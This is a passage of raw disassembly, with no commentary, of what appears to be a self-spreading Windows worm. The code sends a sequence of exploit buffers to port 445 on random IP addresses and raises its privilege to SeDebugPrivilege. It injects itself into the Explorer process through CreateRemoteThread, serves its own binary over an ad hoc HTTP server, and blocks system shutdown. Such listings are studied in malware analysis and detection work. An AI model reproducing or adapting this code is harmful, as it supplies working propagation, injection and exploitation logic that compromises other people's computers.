ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31431A2F push 60h lea eax, [ebp+var_E4] push offset dword_314347C0 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31432EB2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31432EAC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31432EB2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31432EA6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31432EA6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31431164 ; htons mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31431168 ; connect cmp eax, 0FFFFFFFFh jz loc_31431F12 mov esi, dword_3143109C mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3143116C push 89h push offset dword_314345A8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A8h push offset dword_31434634 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0DEh push offset dword_314346E0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp eax, 46h jl loc_31431F07 cmp [ebp+var_730], 31h jnz loc_31431DB2 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31432EA6 ; memset add esp, 0Ch push offset byte_314342E0 call dword_31431088 ; lstrlen push eax lea eax, [ebp+var_EA4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31431088 ; lstrlen push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31432EB2 ; memcpy mov eax, dword_31434BE6 add esp, 0Ch mov [ebp+var_798], eax loc_31431C53: ; CODE XREF: sub_314319BC+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 68h push offset dword_31434824 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A0h push offset dword_31434890 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp [ebp+arg_0], 0 jz loc_31431EA2 push 68h lea eax, [ebp+var_89E4] push offset dword_31434A48 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31432EB2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31434AB4 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31432EB2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31434B28 push eax call sub_31432EB2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31431EFA ; --------------------------------------------------------------------------- loc_31431DB2: ; CODE XREF: sub_314319BC+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31432EA6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31434C98 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy add esp, 40h push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31431E4E: ; CODE XREF: sub_314319BC+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31431E4E and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31432EA6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31432EA6 ; memset add esp, 18h jmp loc_31431C53 ; --------------------------------------------------------------------------- loc_31431EA2: ; CODE XREF: sub_314319BC+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31434934 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31432EB2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_314349B4 push eax call sub_31432EB2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31431EFA: ; CODE XREF: sub_314319BC+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31431F07: ; CODE XREF: sub_314319BC+1ADj ; sub_314319BC+1E1j ... push 2 push [ebp+var_4] call dword_31431174 ; shutdown loc_31431F12: ; CODE XREF: sub_314319BC+166j push [ebp+var_4] call dword_31431178 ; closesocket pop esi loc_31431F1C: ; CODE XREF: sub_314319BC+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_314319BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431F23 proc near ; CODE XREF: UPX0:loc_31432531p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314310AC ; LoadLibraryA mov esi, dword_314310A8 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31431FA7 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31431FA7 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31431FA7 lea eax, [ebp+var_C] push eax push 20h call dword_314310A4 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31431FA7: ; CODE XREF: sub_31431F23+28j ; sub_31431F23+37j ... pop edi pop esi leave retn sub_31431F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431FAB proc near ; CODE XREF: UPX0:31432545p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31435040 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314310B8 ; GetModuleHandleA mov esi, dword_314310A8 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31431FF2 loc_31431FEE: ; CODE XREF: sub_31431FAB+54j push 1 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31431FF2: ; CODE XREF: sub_31431FAB+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31431FEE push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31431114 ; FindWindowA test eax, eax jnz short loc_31432020 call dword_31431118 ; GetForegroundWindow test eax, eax jnz short loc_31432020 push 2 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31432020: ; CODE XREF: sub_31431FAB+65j ; sub_31431FAB+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_3143111C ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314310B4 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31432046 push 3 loc_31432043: ; CODE XREF: sub_31431FAB+45j ; sub_31431FAB+73j pop eax jmp short loc_314320B1 ; --------------------------------------------------------------------------- loc_31432046: ; CODE XREF: sub_31431FAB+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_31431080 test eax, eax jz short loc_314320A4 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314310B0 ; WriteProcessMemory push dword_31435034 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31432090 push eax call esi ; CloseHandle jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_31432090: ; CODE XREF: sub_31431FAB+DEj push offset aUterm192 ; "uterm19-2" call sub_314320E4 pop ecx mov [ebp+var_4], 5 jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_314320A4: ; CODE XREF: sub_31431FAB+B2j mov [ebp+var_4], 4 loc_314320AB: ; CODE XREF: sub_31431FAB+E3j ; sub_31431FAB+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_314320B1: ; CODE XREF: sub_31431FAB+99j pop edi pop esi pop ebx leave retn sub_31431FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320B6 proc near ; CODE XREF: sub_3143237F+Bp ; UPX0:31432507p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314310BC ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314310EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_314320B6 endp ; =============== S U B R O U T I N E ======================================= sub_314320E4 proc near ; CODE XREF: sub_31431FAB+EAp ; UPX0:31432511p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314310C0 ; CreateMutexA retn sub_314320E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320F3 proc near ; CODE XREF: sub_3143256D+163p ; sub_3143256D+16Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread pop ebp retn sub_314320F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143210D proc near ; CODE XREF: sub_3143237F+12Cp ; sub_3143278A+59p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread push eax call dword_31431080 ; CloseHandle pop ebp retn sub_3143210D endp ; =============== S U B R O U T I N E ======================================= sub_3143212E proc near ; CODE XREF: sub_314311A0+68p ; sub_31432C62+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31432156 loc_3143213F: ; CODE XREF: sub_3143212E+26j call dword_314310FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_3143213F loc_31432156: ; CODE XREF: sub_3143212E+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_3143212E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143215E proc near ; CODE XREF: sub_314311A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31432EA6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314310C8 ; CreateProcessA push [ebp+var_C] mov esi, dword_31431080 mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_3143215E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314321B4 proc near ; CODE XREF: sub_31432810+3Ep ; sub_314328D7+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_31431150 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_314321D5 call dword_31431154 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_314321D5: ; CODE XREF: sub_314321B4+15j lea eax, [ebp+var_34] push eax call dword_31431158 ; gethostbyname test eax, eax jnz short loc_314321EA mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_314321EA: ; CODE XREF: sub_314321B4+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_314321B4 endp ; =============== S U B R O U T I N E ======================================= sub_314321F3 proc near ; CODE XREF: sub_3143185D+12p ; sub_31432728+21p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31431134 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_314321F3 endp ; =============== S U B R O U T I N E ======================================= sub_31432209 proc near ; CODE XREF: sub_3143256D+F4p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314310D0 ; OpenEventA test eax, eax jz short locret_31432222 push eax call dword_314310CC ; SetEvent locret_31432222: ; CODE XREF: sub_31432209+10j retn sub_31432209 endp ; =============== S U B R O U T I N E ======================================= sub_31432223 proc near ; CODE XREF: sub_3143185D+68p push esi mov esi, dword_314310FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31432223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432239 proc near ; DATA XREF: sub_3143237F+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jnz short loc_3143226A push 1 jmp loc_31432325 ; --------------------------------------------------------------------------- loc_3143226A: ; CODE XREF: sub_31432239+28j mov esi, dword_31431104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31432335 lea eax, [ebp+var_100] push offset dword_314341F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31432335 mov esi, dword_3143116C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31435030 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31432EAC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_314322E7: ; CODE XREF: sub_31432239+E8j mov eax, dword_31435030 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_314322F9 mov eax, ecx loc_314322F9: ; CODE XREF: sub_31432239+BCj test eax, eax jz short loc_31432328 push 0 push eax mov eax, dword_31435028 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31432323 cmp eax, 1000h jb short loc_31432328 push 64h add edi, eax call dword_3143109C ; Sleep jmp short loc_314322E7 ; --------------------------------------------------------------------------- loc_31432323: ; CODE XREF: sub_31432239+D5j push 2 loc_31432325: ; CODE XREF: sub_31432239+2Cj pop eax jmp short loc_31432378 ; --------------------------------------------------------------------------- loc_31432328: ; CODE XREF: sub_31432239+C2j ; sub_31432239+DCj push offset dword_3143502C call dword_314310D8 ; InterlockedIncrement jmp short loc_31432353 ; --------------------------------------------------------------------------- loc_31432335: ; CODE XREF: sub_31432239+49j ; sub_31432239+61j mov esi, dword_3143116C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31434D64 push ebx call esi ; send loc_31432353: ; CODE XREF: sub_31432239+FAj push 7D0h call dword_3143109C ; Sleep push 2 push ebx call dword_31431174 ; shutdown push ebx call dword_31431178 ; closesocket push 0 call dword_314310D4 ; ExitThread xor eax, eax loc_31432378: ; CODE XREF: sub_31432239+EDj pop edi pop esi pop ebx leave retn 4 sub_31432239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143237F proc near ; DATA XREF: sub_3143256D+15Eo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_314320B6 lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_3143502C, ebx call sub_31432A49 add esp, 14h test eax, eax jnz loc_314324B4 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31431084 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_314323EB push 1 call dword_314310D4 ; ExitThread loc_314323EB: ; CODE XREF: sub_3143237F+62j push ebx push esi call dword_314310E0 ; GetFileSize push eax mov dword_31435030, eax call sub_31432E6C pop ecx mov dword_31435028, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31435030 push eax push esi call dword_314310DC ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31435030, eax call dword_31431080 ; CloseHandle push ebx push 1 push 2 call dword_3143115C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31432EA6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3143244D: ; CODE XREF: sub_3143237F+E5j ; sub_3143237F+EDj ... call dword_314310FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_3143503C, eax jz short loc_3143244D xor ecx, ecx mov cl, ah test cl, cl jz short loc_3143244D push eax call dword_31431164 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31431144 ; bind test eax, eax jnz short loc_3143244D push 64h push edi call dword_31431148 ; listen mov [ebp+var_8], esi pop esi loc_31432496: ; CODE XREF: sub_3143237F+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_3143114C ; accept push eax push offset sub_31432239 call sub_3143210D pop ecx pop ecx jmp short loc_31432496 ; --------------------------------------------------------------------------- loc_314324B4: ; CODE XREF: sub_3143237F+3Dj push ebx call dword_314310D4 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3143237F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314324C3 proc near ; CODE XREF: sub_3143256D:loc_314326C5p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_31431140 push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_314324C3 endp ; --------------------------------------------------------------------------- loc_314324EF: ; CODE XREF: UPX1:31437DD8j push 0 call dword_314310B8 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31435040, eax call dword_31431074 ; DeleteFileA call sub_314320B6 push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax call dword_31431078 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31432531 push 1 call dword_314310E4 ; ExitProcess loc_31432531: ; CODE XREF: UPX0:31432527j call sub_31431F23 call sub_31432BAD call sub_31432D2E push offset sub_3143256D call sub_31431FAB test eax, eax pop ecx jz short loc_31432556 push 0 call sub_3143256D loc_31432556: ; CODE XREF: UPX0:3143254Dj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31432559 proc near ; CODE XREF: sub_3143256D:loc_314326EEp ; sub_31432728:loc_31432740p ... push 0 push dword_31435038 call dword_31431070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31432559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143256D proc near ; CODE XREF: UPX0:31432551p ; DATA XREF: UPX0:31432540o var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431190 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6Ch push ebx push esi push edi mov [ebp+var_78], offset aU10x ; "u10x" mov [ebp+var_74], offset aU11x ; "u11x" mov [ebp+var_70], offset aU12x ; "u12x" mov [ebp+var_6C], offset aU13x ; "u13x" mov [ebp+var_68], offset aU14x ; "u14x" mov [ebp+var_64], offset aU15x ; "u15x" mov [ebp+var_60], offset aU16x ; "u16x" mov [ebp+var_5C], offset aU17x ; "u17x" mov [ebp+var_58], offset aU18x ; "u18x" mov [ebp+var_54], offset aU19x ; "u19x" mov [ebp+var_50], offset aU8 ; "u8" mov [ebp+var_4C], offset aU9 ; "u9" mov [ebp+var_48], offset aU10 ; "u10" mov [ebp+var_44], offset aU11 ; "u11" mov [ebp+var_40], offset aU12 ; "u12" mov [ebp+var_3C], offset aU13 ; "u13" mov [ebp+var_38], offset aU13i ; "u13i" mov [ebp+var_34], offset aU14 ; "u14" mov [ebp+var_30], offset aU15 ; "u15" mov [ebp+var_2C], offset aU16 ; "u16" mov [ebp+var_28], offset aU17 ; "u17" mov [ebp+var_24], offset aU18 ; "u18" mov [ebp+var_20], offset aU19 ; "u19" mov [ebp+var_1C], offset aU20 ; "u20" push offset aU20x ; "u20x" xor edi, edi push edi push 1 push edi call dword_3143106C ; CreateEventA mov dword_31435038, eax mov [ebp+var_4], edi mov [ebp+var_7C], edi loc_31432654: ; CODE XREF: sub_3143256D+FDj cmp [ebp+var_7C], 0Ah jnb short loc_3143266C mov eax, [ebp+var_7C] push [ebp+eax*4+var_78] call sub_31432209 pop ecx inc [ebp+var_7C] jmp short loc_31432654 ; --------------------------------------------------------------------------- loc_3143266C: ; CODE XREF: sub_3143256D+EBj mov [ebp+var_7C], edi loc_3143266F: ; CODE XREF: sub_3143256D+118j cmp [ebp+var_7C], 0Eh jnb short loc_31432687 mov eax, [ebp+var_7C] push [ebp+eax*4+var_50] call sub_314320E4 pop ecx inc [ebp+var_7C] jmp short loc_3143266F ; --------------------------------------------------------------------------- loc_31432687: ; CODE XREF: sub_3143256D+106j cmp [ebp+arg_0], edi jz short loc_314326C5 push offset aWs2_32 ; "ws2_32" mov esi, dword_314310AC call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax loc_314326C5: ; CODE XREF: sub_3143256D+11Dj call sub_314324C3 push edi push offset sub_3143237F call sub_314320F3 push edi push offset sub_3143185D call sub_314320F3 push edi push offset loc_31432933 call sub_314320F3 add esp, 18h loc_314326EE: ; CODE XREF: sub_3143256D+19Cj call sub_31432559 test eax, eax jnz short loc_3143270B push edi call dword_31431018 ; AbortSystemShutdownA push 1388h call dword_3143109C ; Sleep jmp short loc_314326EE ; --------------------------------------------------------------------------- loc_3143270B: ; CODE XREF: sub_3143256D+188j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3143256D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432728 proc near ; DATA XREF: sub_3143278A+54o ; sub_31432810+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432737 push 1 pop eax jmp short locret_31432786 ; --------------------------------------------------------------------------- loc_31432737: ; CODE XREF: sub_31432728+8j mov al, byte ptr [ebp+arg_0+3] push ebx mov [ebp+var_1], al xor bl, bl loc_31432740: ; CODE XREF: sub_31432728+59j call sub_31432559 test eax, eax jnz short loc_31432783 call sub_314321F3 test eax, eax jz short loc_31432783 cmp [ebp+var_1], bl jz short loc_3143277C mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_314319BC pop ecx call dword_314310FC ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep loc_3143277C: ; CODE XREF: sub_31432728+2Dj inc bl cmp bl, 0FFh jb short loc_31432740 loc_31432783: ; CODE XREF: sub_31432728+1Fj ; sub_31432728+28j xor eax, eax pop ebx locret_31432786: ; CODE XREF: sub_31432728+Dj leave retn 4 sub_31432728 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143278A proc near ; DATA XREF: sub_31432810+7Eo ; UPX0:314329CAo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432798 push 1 pop eax jmp short loc_3143280C ; --------------------------------------------------------------------------- loc_31432798: ; CODE XREF: sub_3143278A+7j push esi push edi call sub_314320B6 mov esi, dword_314310FC xor edi, edi loc_314327A7: ; CODE XREF: sub_3143278A+7Cj call sub_31432559 test eax, eax jnz short loc_31432808 call sub_314321F3 test eax, eax jz short loc_31432808 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31435044 mov byte ptr [ebp+arg_0+3], al call dword_314310D8 ; InterlockedIncrement push [ebp+arg_0] call sub_314319BC test eax, eax pop ecx jnz short loc_314327EA push [ebp+arg_0] push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314327EA: ; CODE XREF: sub_3143278A+4Fj call esi ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep inc edi cmp edi, 8000h jl short loc_314327A7 loc_31432808: ; CODE XREF: sub_3143278A+24j ; sub_3143278A+2Dj pop edi xor eax, eax pop esi loc_3143280C: ; CODE XREF: sub_3143278A+Cj pop ebp retn 4 sub_3143278A endp ; =============== S U B 